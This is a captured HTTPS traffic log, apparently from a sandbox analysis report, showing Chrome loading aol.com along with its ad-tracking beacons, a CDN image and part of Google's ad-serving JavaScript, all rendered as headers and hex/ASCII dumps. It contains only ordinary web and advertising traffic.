2024-05-23 22:34:59 UTC	800	OUT	GET /p?c1=2&c2=1000009&c5=1197803361&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&c14=-1&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1716503684011 HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	993	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Thu, 23 May 2024 22:34:59 GMT Location: /p2?c1=2&c2=1000009&c5=1197803361&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&c14=-1&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1716503684011 set-cookie: UID=100458df32184cbdda853d11716503699; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=62208000 set-cookie: PID=172458df32337cbdda8521e1716503699; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=7776000 set-cookie: XID=100458df32184cbdda853d11716503699; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=62208000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 3f24561b20ab2825cb11ac40fc1c2434.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P5 X-Amz-Cf-Id: 405VnzXhL468fhQNV7FKUnaHL3n4paPRTbsY-Mvcg0v5wfUBRkhf6g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.6	50073	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	800	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&event=catalog_request&url=https%3A%2F%2Fedge-auth.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F6415665815001%2Fvideos%2F6353510307112&time=1716503697696&seq=2 HTTP/1.1 Host: metrics.brightcove.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:34:59 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:00 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.6	50058	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	589	OUT	GET /images/dims?format=jpg&quality=80&thumbnail=600%2C450%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2024-05%2Ffa82eb60-1940-11ef-9be5-710e168cff37&client=76f99bdb8f78cd44cc0b&signature=4baafb651c71fe01f756a388a6e0e1a6f4b210fc HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	1152	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 8116 Cache-Control: public, max-age=2592000 Cache-Tag: 414452350963639776248346345998822437089,471859521075364146939495885775905046456,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000169-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: c4a9619dce10beb69d66bf2fd057cc65 cld_latency: 2337 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:35:00 GMT Edge-Cache-Tag: 414452350963639776248346345998822437089,471859521075364146939495885775905046456,ae7a14591aaf8d474cdb3f92111c923e Etag: "3efc29feec02a3a5cffbf7967f8fd0df" Last-Modified: Thu, 23 May 2024 20:13:59 GMT Server: ECAcc (lhd/35F8) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=600,height=450,bytes=55192,owidth=5611,oheight=4212,obytes=2986136,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Request-Id: c4a9619dce10beb69d66bf2fd057cc65 X-Served-By: cache-iad-kiad7000169-IAD X-Timer: S1716495588.484657,VS0,VE2337 Content-Length: 55192 Connection: close
2024-05-23 22:35:00 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 02 40 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 d0 00 08 00 0b 00 13 00 33 00 3b 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: JFIF@ICC_PROFILE0ADBEmntrRGB XYZ 3;acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-05-23 22:35:00 UTC	16383	IN	Data Raw: 63 6c 7c 8b cd e9 d2 57 af 4c e5 6e da bc 97 25 b1 2c 35 67 b2 e7 a8 97 d1 8e 85 a3 88 25 69 0f 66 e8 7d a9 b5 74 ad 8f 9e 69 80 09 56 59 51 d7 fa 18 9c ac 4d 18 f6 49 19 8b 4a 7b 4e 60 8c 85 97 96 32 70 55 95 02 72 3c ee 3e 60 fb 13 41 8f 9f 66 25 98 30 99 d5 8c a6 60 88 4c a9 21 59 54 b0 7a c3 a8 71 68 c8 91 06 2c 4d 95 12 7d 8a 99 8b 60 c4 3d c3 37 69 94 11 1b 5f b1 6f 68 69 cd 8d 75 71 27 a8 d1 70 a0 7a d6 29 3b 13 23 25 69 fe d3 1a 4c e9 1a c8 ad 01 bb 22 b6 97 89 61 99 02 47 22 da aa 9a 0f 14 6f 8b f9 26 94 a3 0e eb f6 b3 ca d0 06 f5 c7 4a f2 16 ec c5 d9 9f ed 23 f3 f8 e4 9f 1a d7 3c 52 b0 5a d7 2c 81 e4 70 cf 92 cc d6 c4 c1 ca 78 d8 2d 64 99 16 5f 0d f3 4f 1d c0 e1 ee a3 f3 23 9d 7b 36 a5 b3 31 85 8c d1 85 91 a4 84 87 30 a7 25 ac f0 44 8e ce 09 2c Data Ascii: cl\|WLn%,5g%if}tiVYQMIJ{N`2pUr<>`Af%0`L!YTzqh,M}`=7i_ohiuq'pz);#%iL"aG"o&J#<RZ,px-d_O#{610%D,
2024-05-23 22:35:00 UTC	16383	IN	Data Raw: cc b9 86 14 b3 df a0 fb 8c 4b 1b 26 c9 98 db 8b 06 99 17 9e 3d 7e 47 98 33 bc ed bd ea 33 30 d8 81 d8 2f dc 37 7b 33 af 90 84 88 e0 3c 38 c2 f4 99 28 0b a8 33 80 a4 71 12 83 1f 88 17 5c 49 8e 87 a4 4c 76 37 0a 10 6a 07 e3 40 9b 9e b2 9e 82 0c 97 08 b3 62 28 3d c4 2b 18 19 8d 7d c7 a7 d5 8b 94 08 dc f4 b1 c0 88 04 e4 8b f0 20 c8 bd a7 8d 0c f9 39 1e c3 5e 42 60 6b 4a f8 99 97 8b 9f bd c1 00 8a a2 63 6b 41 2a 2f 79 ed 3e 65 aa 12 7b cf 53 a6 a3 3e fa 4c 96 d3 d2 6f 88 aa 40 fb 85 80 eb 07 07 aa 8d 8d 6b bc 6c 6e bf 62 6f a4 e3 62 07 2b 12 88 06 1e 90 12 7a 89 56 62 90 a6 7a bf 50 e5 3f 33 93 1e a6 11 04 23 97 53 32 ad 3b 6e 09 81 f8 b8 fb d4 f1 09 c9 41 ee 20 8a 20 1d 7f 13 0b f1 b9 ea fd 4f 53 ea 7a 9f 50 31 3d e5 99 c8 4e 57 19 88 e9 39 31 13 19 1c 85 98 Data Ascii: K&=~G330/7{3<8(3q\ILv7j@b(=+} 9^B`kJckA*/y>e{S>Lo@klnbob+zVbzP?3#S2;nA OSzP1=NW91
2024-05-23 22:35:00 UTC	6043	IN	Data Raw: 22 6a 10 c0 b0 64 1f 66 11 74 d4 9f 68 ea 2b fb 4d ca 78 60 6c 0b ed 46 15 3c 86 a8 bd 2c bf f1 46 e6 af 95 17 db 98 e3 52 fa 1e 87 eb 1b 2b 67 9e 44 47 ac 30 34 98 fd a6 c4 3c ed 20 8b 1d fc cb 3d 5b af d0 f8 9b 88 3c c3 b2 fd cb 2d 17 8d 7d 31 6b 5e 47 49 e9 55 0f 57 dc 28 7d 00 30 10 ae 42 b8 60 09 ae a0 03 62 33 0f 26 1f cf a4 b6 dd 67 c4 3b ec 1d d7 06 e1 90 c4 9b 24 e6 10 18 02 4b 79 3e 39 89 b6 c0 be 3e 9d e1 0c 45 c1 a8 2b 85 07 b5 d4 e4 e6 e5 6b 3b 80 a7 b9 fe d5 d6 2b eb 32 83 ab aa 3a 9a e0 78 13 35 5f 69 70 aa 06 c2 84 dc 41 6e 4f 2b 32 38 67 a7 6f b6 02 af d8 5f 98 4b 17 f9 84 9c 92 4e 09 24 f3 c4 c8 e2 0d b5 c4 1c dc b3 29 7f 94 40 04 de 7a 4a e9 43 ac 20 f4 00 64 08 5b 6a 1b 1f 49 b3 4f b0 fd 2e 3e ab 01 6c 54 70 27 cb 21 f8 66 16 d8 e9 de Data Ascii: "jdfth+Mx`lF<,FR+gDG04< =[<-}1k^GIUW(}0B`b3&g;$Ky>9>E+k;+2:x5_ipAnO+28go_KN$)@zJC d[jIO.>lTp'!f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.6	50072	3.33.220.150	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	648	OUT	GET /track/cmf/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	513	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:00 GMT Content-Length: 235 Connection: close server: Kestrel location: https://match.adsrvr.org/track/cmb/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 set-cookie: TDID=3e077bb4-bf4a-4c19-933e-c98ddd88142e; expires=Fri, 23 May 2025 22:35:00 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSgCMgsIhOWJ_eng_TwQBTgB; expires=Fri, 23 May 2025 22:35:00 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-23 22:35:00 UTC	235	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 72 69 67 68 74 6d 65 64 69 61 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 2d 31 22 3e 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 72 69 67 68 74 6d 65 64 69 61 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 2d 31 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://match.adsrvr.org/track/cmb/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1">https://match.adsrvr.org/track/cmb/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.6	50071	142.250.186.66	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	664	OUT	GET /pagead/managed/js/gpt/m202405220101/pubads_impl.js?cb=31083928 HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	741	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe Content-Length: 463350 X-XSS-Protection: 0 Date: Thu, 23 May 2024 14:57:15 GMT Expires: Fri, 23 May 2025 14:57:15 GMT Cache-Control: public, immutable, max-age=31536000 ETag: 8652273211762621675 Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 27465 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:00 UTC	649	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 2f 2a 20 0a 20 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 20 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 0a 2a 2f 20 0a 2f 2a 20 0a 20 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 0a 2a 2f 20 0a 2f 2a 20 0a 20 0a 20 0a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 35 2d 32 30 31 38 20 47 6f 6f 67 6c 65 2c 20 49 6e 63 2e 2c 20 4e 65 74 66 6c 69 78 2c 20 49 6e 63 2e 2c 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 2e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 0a 20 4c 69 63 65 6e 73 65 64 Data Ascii: (function(_){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 / / SPDX-License-Identifier: Apache-2.0 / / Copyright (c) 2015-2018 Google, Inc., Netflix, Inc., Microsoft Corp. and contributors Licensed
2024-05-23 22:35:00 UTC	1390	IN	Data Raw: 4b 49 4e 44 2c 20 65 69 74 68 65 72 20 65 78 70 72 65 73 73 20 6f 72 20 69 6d 70 6c 69 65 64 2e 20 0a 20 53 65 65 20 74 68 65 20 4c 69 63 65 6e 73 65 20 66 6f 72 20 74 68 65 20 73 70 65 63 69 66 69 63 20 6c 61 6e 67 75 61 67 65 20 67 6f 76 65 72 6e 69 6e 67 20 70 65 72 6d 69 73 73 69 6f 6e 73 20 61 6e 64 20 0a 20 6c 69 6d 69 74 61 74 69 6f 6e 73 20 75 6e 64 65 72 20 74 68 65 20 4c 69 63 65 6e 73 65 2e 20 0a 2a 2f 20 0a 76 61 72 20 63 61 2c 64 61 2c 6b 61 2c 6c 61 2c 6d 61 2c 6e 61 2c 70 61 2c 6f 61 2c 77 61 2c 42 61 2c 49 61 2c 4b 61 2c 4e 61 2c 50 61 2c 52 61 2c 58 61 2c 56 61 2c 59 61 2c 5a 61 2c 24 61 2c 61 62 2c 62 62 2c 64 62 2c 65 62 2c 66 62 2c 69 62 2c 6b 62 2c 6c 62 2c 6d 62 2c 71 62 2c 72 62 2c 75 62 2c 79 62 2c 42 62 2c 44 62 2c 45 62 2c 4a 62 Data Ascii: KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ var ca,da,ka,la,ma,na,pa,oa,wa,Ba,Ia,Ka,Na,Pa,Ra,Xa,Va,Ya,Za,$a,ab,bb,db,eb,fb,ib,kb,lb,mb,qb,rb,ub,yb,Bb,Db,Eb,Jb
2024-05-23 22:35:00 UTC	1390	IN	Data Raw: 2c 53 72 2c 55 72 2c 57 72 2c 5a 72 2c 62 73 2c 6b 73 2c 24 72 2c 61 73 2c 64 73 2c 65 73 2c 59 72 2c 63 73 2c 6f 73 2c 73 73 2c 75 73 2c 77 73 2c 79 73 2c 41 73 2c 44 73 2c 51 61 2c 45 73 2c 46 73 2c 48 73 2c 47 73 2c 49 73 2c 4a 73 2c 4e 73 2c 50 73 2c 52 73 2c 53 73 2c 55 73 2c 57 73 2c 24 73 2c 61 74 2c 58 73 2c 62 74 2c 66 74 2c 67 74 2c 6a 74 2c 6c 74 2c 72 74 2c 73 74 2c 6e 74 2c 6f 74 2c 70 74 2c 71 74 2c 74 74 2c 75 74 2c 43 74 2c 44 74 2c 48 74 2c 49 74 2c 4a 74 2c 4b 74 2c 52 74 2c 54 74 2c 67 75 2c 68 75 2c 69 75 2c 6c 75 2c 42 75 2c 45 75 2c 55 75 2c 56 75 2c 57 75 2c 58 75 2c 59 75 2c 51 76 2c 54 76 2c 61 77 2c 58 76 2c 59 76 2c 65 77 2c 66 77 2c 68 77 2c 69 77 2c 6a 77 2c 72 77 2c 76 77 2c 7a 77 2c 44 77 2c 45 77 2c 46 77 2c 47 77 2c 49 77 Data Ascii: ,Sr,Ur,Wr,Zr,bs,ks,$r,as,ds,es,Yr,cs,os,ss,us,ws,ys,As,Ds,Qa,Es,Fs,Hs,Gs,Is,Js,Ns,Ps,Rs,Ss,Us,Ws,$s,at,Xs,bt,ft,gt,jt,lt,rt,st,nt,ot,pt,qt,tt,ut,Ct,Dt,Ht,It,Jt,Kt,Rt,Tt,gu,hu,iu,lu,Bu,Eu,Uu,Vu,Wu,Xu,Yu,Qv,Tv,aw,Xv,Yv,ew,fw,hw,iw,jw,rw,vw,zw,Dw,Ew,Fw,Gw,Iw
2024-05-23 22:35:00 UTC	1390	IN	Data Raw: 2e 70 75 73 68 28 53 74 72 69 6e 67 28 62 5b 64 5d 29 29 2c 63 2e 70 75 73 68 28 61 5b 64 2b 31 5d 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 71 61 28 63 2e 6a 6f 69 6e 28 22 22 29 29 7d 3b 5f 2e 45 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 43 61 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 46 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 71 61 3f 5f 2e 72 61 28 61 29 3a 5f 2e 45 61 28 61 29 7d 3b 5f 2e 47 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 3d 5f 2e 46 61 28 62 29 3b 76 6f 69 64 20 30 21 3d 3d 62 26 26 28 61 2e 68 72 65 66 3d 62 29 7d 3b 49 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 3d 5f 2e 48 61 28 61 2c 62 29 3b 76 61 72 20 63 3b 28 63 3d Data Ascii: .push(String(b[d])),c.push(a[d+1]);return new _.qa(c.join(""))};_.Ea=function(a){if(Ca.test(a))return a};_.Fa=function(a){return a instanceof _.qa?_.ra(a):_.Ea(a)};_.Ga=function(a,b){b=_.Fa(b);void 0!==b&&(a.href=b)};Ia=function(a,b){b=_.Ha(a,b);var c;(c=
2024-05-23 22:35:00 UTC	1390	IN	Data Raw: 72 20 65 3d 30 3b 65 3c 64 2e 6c 65 6e 67 74 68 3b 65 2b 3d 38 31 39 32 29 66 6f 72 28 76 61 72 20 66 3d 5a 61 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 4b 61 28 64 2c 65 2c 65 2b 38 31 39 32 29 29 2c 67 3d 30 3b 67 3c 66 2e 6c 65 6e 67 74 68 3b 67 2b 2b 29 62 2e 70 75 73 68 28 66 5b 67 5d 29 3b 65 6c 73 65 20 62 2e 70 75 73 68 28 64 29 7d 72 65 74 75 72 6e 20 62 7d 3b 24 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 2e 63 61 6c 6c 28 76 6f 69 64 20 30 2c 61 5b 63 5d 2c 63 2c 61 29 7d 3b 61 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5b 5d 2c 63 3d 30 2c 64 3b 66 6f 72 28 64 20 69 6e 20 61 29 62 5b 63 2b 2b 5d 3d 61 5b 64 5d 3b 72 65 74 75 72 6e 20 62 7d 3b 62 62 3d 66 75 6e 63 74 69 6f 6e 28 61 Data Ascii: r e=0;e<d.length;e+=8192)for(var f=Za.apply(null,Ka(d,e,e+8192)),g=0;g<f.length;g++)b.push(f[g]);else b.push(d)}return b};$a=function(a,b){for(var c in a)b.call(void 0,a[c],c,a)};ab=function(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b};bb=function(a
2024-05-23 22:35:00 UTC	1390	IN	Data Raw: 54 59 5d 22 7d 3b 71 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 21 31 3b 62 3d 76 6f 69 64 20 30 3d 3d 3d 62 3f 21 31 3a 62 3b 69 66 28 6e 62 29 7b 69 66 28 62 26 26 28 6f 62 3f 21 61 2e 63 6d 28 29 3a 2f 28 3f 3a 5b 5e 5c 75 44 38 30 30 2d 5c 75 44 42 46 46 5d 7c 5e 29 5b 5c 75 44 43 30 30 2d 5c 75 44 46 46 46 5d 7c 5b 5c 75 44 38 30 30 2d 5c 75 44 42 46 46 5d 28 3f 21 5b 5c 75 44 43 30 30 2d 5c 75 44 46 46 46 5d 29 2f 2e 74 65 73 74 28 61 29 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 46 6f 75 6e 64 20 61 6e 20 75 6e 70 61 69 72 65 64 20 73 75 72 72 6f 67 61 74 65 22 29 3b 61 3d 28 70 62 7c 7c 28 70 62 3d 6e 65 77 20 54 65 78 74 45 6e 63 6f 64 65 72 29 29 2e 65 6e 63 6f 64 65 28 61 29 7d 65 6c 73 65 7b 66 6f 72 28 76 61 72 20 63 3d 30 Data Ascii: TY]"};qb=function(a){var b=!1;b=void 0===b?!1:b;if(nb){if(b&&(ob?!a.cm():/(?:[^\uD800-\uDBFF]\|^)[\uDC00-\uDFFF]\|[\uD800-\uDBFF](?![\uDC00-\uDFFF])/.test(a)))throw Error("Found an unpaired surrogate");a=(pb\|\|(pb=new TextEncoder)).encode(a)}else{for(var c=0
2024-05-23 22:35:00 UTC	1390	IN	Data Raw: 3e 3e 3d 30 3b 61 3e 3e 3e 3d 30 3b 69 66 28 32 30 39 37 31 35 31 3e 3d 62 29 76 61 72 20 63 3d 22 22 2b 28 34 32 39 34 39 36 37 32 39 36 2a 62 2b 61 29 3b 65 6c 73 65 20 45 62 28 29 3f 63 3d 22 22 2b 28 42 69 67 49 6e 74 28 62 29 3c 3c 42 69 67 49 6e 74 28 33 32 29 7c 42 69 67 49 6e 74 28 61 29 29 3a 28 63 3d 28 61 3e 3e 3e 32 34 7c 62 3c 3c 38 29 26 31 36 37 37 37 32 31 35 2c 62 3d 62 3e 3e 31 36 26 36 35 35 33 35 2c 61 3d 28 61 26 31 36 37 37 37 32 31 35 29 2b 36 37 37 37 32 31 36 2a 63 2b 36 37 31 30 36 35 36 2a 62 2c 63 2b 3d 38 31 34 37 34 39 37 2a 62 2c 62 2a 3d 32 2c 31 45 37 3c 3d 61 26 26 28 63 2b 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 61 2f 31 45 37 29 2c 61 25 3d 31 45 37 29 2c 31 45 37 3c 3d 63 26 26 28 62 2b 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 Data Ascii: >>=0;a>>>=0;if(2097151>=b)var c=""+(4294967296b+a);else Eb()?c=""+(BigInt(b)<<BigInt(32)\|BigInt(a)):(c=(a>>>24\|b<<8)&16777215,b=b>>16&65535,a=(a&16777215)+6777216c+6710656b,c+=8147497b,b*=2,1E7<=a&&(c+=Math.floor(a/1E7),a%=1E7),1E7<=c&&(b+=Math.floor(
2024-05-23 22:35:00 UTC	1390	IN	Data Raw: 33 36 38 37 30 39 31 32 3a 61 7d 3b 64 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 21 28 21 61 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 61 2e 69 6d 21 3d 3d 63 63 29 7d 3b 65 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 61 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 74 79 70 65 6f 66 20 61 26 26 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 4f 62 6a 65 63 74 7d 3b 68 63 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 6e 75 6c 6c 21 3d 61 29 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 61 29 61 3d 61 3f 6e 65 77 20 66 63 28 61 2c 43 62 29 3a 67 63 28 29 3b 65 6c 73 65 20 69 66 28 61 2e 63 6f Data Ascii: 36870912:a};dc=function(a){return!(!a\|\|"object"!==typeof a\|\|a.im!==cc)};ec=function(a){return null!==a&&"object"===typeof a&&!Array.isArray(a)&&a.constructor===Object};hc=function(a,b,c){if(null!=a)if("string"===typeof a)a=a?new fc(a,Cb):gc();else 